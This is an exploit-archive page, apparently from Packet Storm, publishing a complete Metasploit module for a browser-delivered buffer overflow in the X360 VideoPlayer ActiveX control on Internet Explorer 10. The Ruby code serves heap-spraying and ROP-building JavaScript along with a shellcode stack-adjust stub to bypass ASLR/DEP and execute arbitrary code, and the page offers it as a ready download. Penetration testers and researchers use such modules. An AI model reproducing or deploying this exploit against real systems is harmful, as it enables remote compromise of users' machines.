what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

X360 VideoPlayer ActiveX Control Buffer Overflow

X360 VideoPlayer ActiveX Control Buffer Overflow
Posted Feb 17, 2015
Authored by Rh0, juan vazquez | Site metasploit.com

This Metasploit module exploits a buffer overflow in the VideoPlayer.ocx ActiveX installed with the X360 Software. By setting an overly long value to 'ConvertFile()',an attacker can overrun a .data buffer to bypass ASLR/DEP and finally execute arbitrary code.

tags | exploit, overflow, arbitrary, activex
SHA-256 | 4db85b31081245af192050fe8238d0162d228493f03b7b13875c3b7820cfcf47

X360 VideoPlayer ActiveX Control Buffer Overflow

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info={})
super(update_info(info,
'Name' => "X360 VideoPlayer ActiveX Control Buffer Overflow",
'Description' => %q{
This module exploits a buffer overflow in the VideoPlayer.ocx ActiveX installed with the
X360 Software. By setting an overly long value to 'ConvertFile()',an attacker can overrun
a .data buffer to bypass ASLR/DEP and finally execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Rh0', # vulnerability discovery and exploit, all the hard work
'juan vazquez' # msf module
],
'References' =>
[
['EDB', '35948'],
['URL', 'https://rh0dev.github.io/blog/2015/fun-with-info-leaks/']
],
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'PrependEncoder' => stack_adjust
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Arch' => ARCH_X86,
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{4B3476C6-185A-4D19-BB09-718B565FA67B}",
:os_name => OperatingSystems::Match::WINDOWS,
:ua_name => Msf::HttpClients::IE,
:ua_ver => '10.0'
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Jan 30 2015",
'DefaultTarget' => 0))
end

def stack_adjust
adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset

adjust
end

def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")

case request.uri
when /exploit.js/
print_status("Sending exploit.js...")
headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'}
send_exploit_html(cli, exploit_template(cli, target_info), headers)
when /sprayer.js/
print_status("Sending sprayer.js...")
headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'}
send_exploit_html(cli, sprayer_template(cli, target_info), headers)
when /informer.js/
print_status("Sending informer.js...")
headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'}
send_exploit_html(cli, informer_template(cli, target_info), headers)
when /rop_builder.js/
print_status("Sending rop_builder.js...")
headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'}
send_exploit_html(cli, rop_builder_template(cli, target_info), headers)
else
print_status("Sending main.html...")
headers = {'Pragma' => 'no-cache', 'Content-Type'=>'text/html'}
send_exploit_html(cli, main_template(cli, target_info), headers)
end
end

def main_template(cli, target_info)
path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'main.html')
template = ''
File.open(path, 'rb') { |f| template = strip_comments(f.read) }

return template, binding()
end

def exploit_template(cli, target_info)
shellcode = Rex::Text.to_hex(get_payload(cli, target_info))

path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'exploit.js')
template = ''
File.open(path, 'rb') { |f| template = strip_comments(f.read) }

return template, binding()
end

def sprayer_template(cli, target_info)
path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'sprayer.js')
template = ''
File.open(path, 'rb') { |f| template = strip_comments(f.read) }

return template, binding()
end

def informer_template(cli, target_info)
path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'informer.js')
template = ''
File.open(path, 'rb') { |f| template = strip_comments(f.read) }

return template, binding()
end

def rop_builder_template(cli, target_info)
path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'rop_builder.js')
template = ''
File.open(path, 'rb') { |f| template = strip_comments(f.read) }

return template, binding()
end

def strip_comments(input)
input.gsub(/\/\/.*$/, '')
end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close